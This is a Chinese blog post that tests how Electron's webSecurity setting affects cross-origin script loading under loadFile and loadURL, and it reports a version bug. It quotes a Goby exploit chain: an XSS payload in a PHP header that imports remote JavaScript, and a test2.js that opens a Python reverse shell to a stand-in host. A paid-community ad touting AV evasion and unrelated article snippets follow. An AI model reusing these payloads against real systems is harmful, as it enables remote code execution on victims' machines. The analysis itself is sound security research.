webSecurity安全

0x01 简介

https://www.electronjs.org/zh/docs/latest/tutorial/security#6-%E4%B8%8D%E8%A6%81%E7%A6%81%E7%94%A8-websecurity

大家好,今天跟大家讨论的是 Electron 的安全配置选项 —— webSecurity

这在之前的文章 《Electron安全与你我息息相关》 中就已经提到过了,该选项的意义是开启同源策略,是 Electron 的默认值,即默认即开启同源策略

https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy

之前我们在讨论 Goby 的漏洞时,我们发现,利用的 Payload如下

<?php
header("X-Powered-By: PHP/<img  src=\"x\"       onerror=import(unescape('http%3A//127.0.0.1/test2.js'))>");
?>

test2.js

(function(){
require('child_process').exec('open /System/Applications/Calculator.app');
require('child_process').exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');
})();

https://mp.weixin.qq.com/s/EPQZs5eQ4LL--tao93cUfQ

在这里我们注意到放置 Payload 的地方在外部的 JavaScript  文件,虽然上面写的是 127.0.0.1 ,实际是想说我们恶意服务器上的 JavaScript

正常来说,这种利用是不会成功的,因为有同源策略的限制,但是后来我们发现老版本的 Goby 显式地将 webSecurity 设置为了 false ,不然利用的话还会再难一些

我们公众号开启了留言功能,欢迎大家留言讨论~

这篇文章也提供了 PDF 版本及 Github ,见文末


  • 0x01 简介

  • 0x02 安全效果测试

    • 1. 本地加载测试同源策略

    • 2. 远程加载测试同源策略

  • 0x03 总结

  • 0x04 PDF版 & Github

  • 往期文章


0x02 安全效果测试

这个实验需要分为两个部分,这也是我测试过程中发现的小问题

远程恶意的 JavaScript 服务器

图片

 

测试过程中未设置 CSP 策略,避免影响结果

测试思路很简单,就是直接让 index.html 中加载如下代码

<img src="x" onerror="import(unescape('http://192.168.31.216/payload.js'))" />

如果可以成功加载,就会在页面中显示 Remote code is running.

1. 本地加载测试同源策略

index.html

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Web Security Test</title>
</head>
<body><h1>Web Security Test</h1><div id="local-js"></div><hr><div id="remote-js"></div><!-- 跨源脚本 --><img src="x" onerror="import(unescape('http://192.168.31.216/payload.js'))" /><script>document.getElementById('local-js').innerText ="Local code is runnning."</script>
</body>
</html>

main.js

// Modules to control application life and create native browser window
const { app, BrowserWindow } = require('electron')
const path = require('path')function createWindow () {// Create the browser window.const mainWindow = new BrowserWindow({width: 800,height: 600,webPreferences: {webSecurity: true,// preload: path.join(__dirname, 'preload.js')}})mainWindow.loadFile('index.html')
}app.whenReady().then(() => {createWindow()app.on('activate', function () {if (BrowserWindow.getAllWindows().length === 0) createWindow()})
})app.on('window-all-closed', function () {if (process.platform !== 'darwin') app.quit()
})
webSecurity: false

当 webSecurity 设置为 false 时

图片

图片

图片

在 Electron 5.0、10.0、30.0 版本中均可以成功执行远程 JavaScript  代码

webSecurity: true

图片

图片

图片

在 Electron 5.0、10.0、30.0 版本中均可以成功执行远程 JavaScript  代码

小结

在本地加载 index.html 的时候,在本地资源中加载外部 JavaScript 是不受 webSecurity 影响的

2. 远程加载测试同源策略

将 index.html 放到单独的服务器上 http://192.168.31.185:8080/index.html

main.js

// Modules to control application life and create native browser window
const { app, BrowserWindow } = require('electron')
const path = require('path')function createWindow () {// Create the browser window.const mainWindow = new BrowserWindow({width: 800,height: 600,webPreferences: {webSecurity: true,// preload: path.join(__dirname, 'preload.js')}})mainWindow.loadURL('http://192.168.31.185:8080/index.html')// Open the DevTools.mainWindow.webContents.openDevTools()
}app.whenReady().then(() => {createWindow()app.on('activate', function () {// On macOS it's common to re-create a window in the app when the// dock icon is clicked and there are no other windows open.if (BrowserWindow.getAllWindows().length === 0) createWindow()})
})app.on('window-all-closed', function () {if (process.platform !== 'darwin') app.quit()
})
webSecurity: false

图片

图片

图片

这里就出现了一个有趣的现象,关闭了 webSecurity 后,在 10.0 中竟然还是远程加载 JavaScript 失败了,但是在 5.0 和 30.0 中均成功了,这应该是 Electron 的一个 bug

webSecurity: true

图片

图片

图片

图片

开启了 webSecurity 后,表现倒是一致的,均阻拦了跨域的资源请求

补充测试

虽然Electron 中这个 bug 不是很重要,但是我们还是补充测试一下,到底是哪些版本存在该 bug

图片

Electron 11.0.0 中该 bug 已经修复

图片

Electron 10.1.3 中该 bug 已经修复

图片

Electron 10.1.2 中该 bug 存在,所以是在 ELectron 10.1.3 中被修复,我们看一下在哪个版本中开始存在

图片

Electron 9.0.0 中已经存在该 bug

图片

Electron 8.5.5 版本中不存在该 bug

因此存在该 bug 的版本为 Electron 9.0.0 ~ 10.1.2

小结

在远程加载的形式创建窗口时, webSecurity 的开始起作用,设置为 true 时,同源策略有效,当设置为 false 时,  Electron 9.0.0 ~ 10.1.2 依旧存在同源策略,除以上版本外同源策略均失效

0x03 总结

Electron 项目中比较常见的通过 loadFile('index.html') 创建窗口时,webSecurity 选项并没有用,可以加载 file:// 和 http:// 这种本地或远程的 JavaScript

当通过 loadURL 加载远程页面创建窗口时,webSecurity 选项有效,默认配置为 true,值为 true 时,同源策略有效;当值为 false 时,在 Electron 9.0.0 ~ 10.1.2 版本中,关闭同源策略失败,同源策略仍然有效,这是一个 bug ,除上述版本以外均会关闭同源策略,允许跨域加载 JavaScript

需要注意的是,加载资源这个事还会受 CSP(内容安全策略) 的影响,文中的测试均为未设置 CSP 时的情况

默认值的时间线如下:

图片

0x04 PDF版 & Github

PDF 版

https://pan.baidu.com/s/1z4qW-8leTnTI-Rd5RS6LxQ?pwd=ngy7

Github

https://github.com/Just-Hack-For-Fun/Electron-Security

 「圈子的最近主题和圈子内部工具一些展示」

纷传100%官方认证授权,可在发现-圈子页面查看

图片

圈子部分内容展示

图片

poc漏洞库 8000+src陆续更新中 -紧跟时代发展争做先进网安人

图片

一起愉快刷分-榜上有名

图片

免杀-护网必备

图片

新手学习、老手巩固-温故而知新

图片

学习报告-三人行必有我师

图片

各类会员-尊贵的SVIP

图片

图片

 

「你即将失去如下所有学习变强机会」

学习效率低,学不到实战内容

一顿自助钱,我承诺一定让用户满意,也希望用户能给予我一份信任

【详情下方图片了解】,【扫下方二维码加入】:只做高质量优质精品内容」

圈子目前价格为¥99元(交个朋友啦!),现在星球有近150+位师傅相信并选择加入我们,圈子每天都会更新内容,老用户可永久享受初始加入价格,圈子内容持续更新中

图片

图片

免责声明

由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/847593.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C# 解决 Excel 自动适应列宽的问题

目录 问题现象 原因分析 范例运行环境 解决问题 生成测试文本 实现自适应 小结 问题现象 通过 COM 操作 Excel 自动适应列宽的方法是 AutoFit 方法&#xff0c;该方法适于自动适应列宽或行高。 最近在我们的一款应用里发现效果并没有符合预期&#xff0c;我们提供了一…

【调试笔记-20240604-Linux-为 OpenWrt-23.05 添加自己的 feed 软件包】

调试笔记-系列文章目录 调试笔记-20240604-Linux-为 OpenWrt-23.05 添加自己的 feed 软件包 文章目录 调试笔记-系列文章目录调试笔记-20240604-Linux-为 OpenWrt-23.05 添加自己的 feed 软件包 前言一、调试环境操作系统&#xff1a;Ubuntu 22.04.4 LTS编译环境调试目标 二、…

HTML、HTML5一览

文章目录 HTML简介标签基本标签格式化文本链接图像块级元素列表表格框架表单实体 HTML5 此篇用于优化csdn第一篇文章 HTML 简介 HTML 是用来描述网页的一种语言。 HTML 指的是超文本标记语言: HyperText Markup Language HTML 不是一种编程语言&#xff0c;而是一种标记语言…

数据中心的中台前端风格大屏设计开发

数据中心的中台前端风格大屏设计开发

DevOps全面综述:从概念到实践

一、背景与概述 1.1 DevOps的起源与发展 DevOps&#xff08;Development and Operations的缩写&#xff09;是软件工程领域中的一种文化和实践方法&#xff0c;旨在促进开发团队与运维团队之间的协作&#xff0c;从而实现更高效、更可靠的软件交付。DevOps起源于敏捷软件开发方…

深入了解 Postman 中的变量

在我们进行 API 开发和测试时&#xff0c;使用诸如 Postman 之类的工具可以极大地简化工作流程&#xff0c;提高效率。Postman 的一个强大功能就是变量&#xff08;Variables&#xff09;。利用变量&#xff0c;我们可以使我们的请求变得更加动态和灵活&#xff0c;避免重复输入…

猫毛过敏的克星!宠物空气净化器,铲屎官的终极武器~

现在很多人都喜欢养猫&#xff0c;但约有10%的人会对猫咪产生过敏反应。常见的症状包括打喷嚏、流鼻涕&#xff0c;严重时甚至会呼吸困难。 过敏源依附在宠物的毛发和皮屑上&#xff0c;通过空气传播&#xff0c;遍布家中的各个角落&#xff0c;如地面、衣物和家具。这不仅增加…

期权和股权有哪些含义?股权和期权有哪些区别?

今天带你了解期权和股权有哪些含义&#xff1f;股权和期权有哪些区别&#xff1f;股权是有限责任公司或股份有限公司股东对公司享有的人身权和财产权的综合权利。期权是指赋予持有者在特定日期或之前以固定价格购买或出售资产的权利的合同。 期权有哪些含义&#xff1f; 期权是…

Echarts 取消鼠标滑动时产生的竖线

文章目录 问题分析问题 当我们在坐标轴中使用多组数据时会产生如下效果,出现两根竖线,不太美观 分析 axisPointer 属性设置为 none(建议使用) 在 ECharts 中,鼠标滑动时产生的竖线是由 tooltip 组件的 axisPointer 属性控制的。要取消这一功能,可以将 tooltip 组件的 …

震惊!没想到这个国产数据库可以白嫖!

最近很多网友私信我&#xff0c;问我们MogDB是怎么售卖的&#xff0c;你们的具体策略是怎么样的&#xff1f; 其实这个话题我在一些微信群都已经讲过&#xff0c; 这里干脆来一篇公众号文章&#xff0c;详细说一说&#xff01; MogDB是什么&#xff1f; MogDB是 EnMotech openG…

Python群发邮件的功能如何实现?怎么使用?

Python群发邮件需要哪些库支持&#xff1f;如何使用Python发信&#xff1f; 对于Python开发者来说&#xff0c;实现群发邮件功能是一项非常有用的技能&#xff0c;无论是用于营销、通知还是其他目的。AokSend将介绍如何使用Python来实现群发邮件的功能&#xff0c;让你轻松管理…

【优选算法】字符串 {相关编程题解析}

一、相关编程题 1.1 最长公共前缀 题目链接 14. 最长公共前缀 - 力扣&#xff08;LeetCode&#xff09; 题目描述 算法原理 编写代码 // 解法一&#xff1a;两两比较 class Solution { public:string longestCommonPrefix(vector<string>& strs) {int k strs[0…

当边缘计算用在定位设备

什么是边缘计算&#xff1f; 边缘计算是个比较高大上的概念&#xff0c;在这里就不提众多官方与非官方的定义了&#xff0c;只说说自己的理解。 边缘计算就是在最靠近物理设备的使用现场&#xff0c;利用有限的硬件资源&#xff0c;完成设备层数据采集、协议转换、数据上传、…

推荐系统学习 二

双塔模型的结构 用户的特征&#xff0c;我们知道用户ID还能从用户填写的资料和用户行为中获取很多特征&#xff0c;包括离散特征和连续特征。所有这些特征不能直接输入神经网络&#xff0c;而是要先做一些处理&#xff0c;比如用embedding层把用户ID映射到一个向量 跟之前我们…

JVM学习-监控工具(三)

jconsole 从Java5开始&#xff0c;在JDK中自带的java监控和管理控制台用于对JVM中内存、线程、和类等的监控&#xff0c;是一个基本JMX(java management extendsions)的GUI性能监控工具 三种连接方式 Local&#xff1a;使用JConsole连接是一个正在本地系统运行的JVM&#xf…

mfc110u.dll丢失的解决方法,分享七个有效方法

mfc110u.dll是一个动态链接库文件&#xff0c;属于Microsoft Foundation Classes (MFC) 的一部分。它是Microsoft Visual Studio 2012编程环境中用于C应用程序开发的一个组件。 1.2 功能与作用 mfc110u.dll文件提供了一系列的预构建类和函数&#xff0c;这些类和函数使得开发…

一键式AI智能知识库-谈如何打造人性化的LLM RAG知识库的重要性

RAG系统简介 在现代的LLM RAG&#xff08;Retrieval-Augmented Generation&#xff09;系统中&#xff0c;数据流的设计至关重要。让我们通过一个具体的例子来详细描述一个标准RAG系统的数据流。 首先&#xff0c;用户可以通过多种应用入口访问系统&#xff0c;包括PC应用、微…

无人机、机器人10公里WiFi远距离图传模块,实时高清视频传输,飞睿CV5200模组方案,支持mesh自组网模块

在快速发展的物联网时代&#xff0c;远距离无线通信技术已成为连接各种智能设备的关键。无人机、安防监控、机器人等领域对数据传输的距离和速度要求越来越高。 公里级远距离WiFi模组方案可以通过多种技术和策略的结合来实现无人机和机器人之间的高效通信传输。 飞睿智能CV52…

如何看待时间序列与机器学习?

GPT-4o 时间序列与机器学习的关联在于&#xff0c;时间序列数据是一种重要的结构化数据形式&#xff0c;而机器学习则是一种强大的工具&#xff0c;用于从数据中提取有用的模式和信息。在很多实际应用中&#xff0c;时间序列与机器学习可以结合起来&#xff0c;发挥重要作用。…

npm install报ENOENT: no such file or directory, open问题

没有进行npm的初始化操作导致的 npm init -y 再 npm install npm install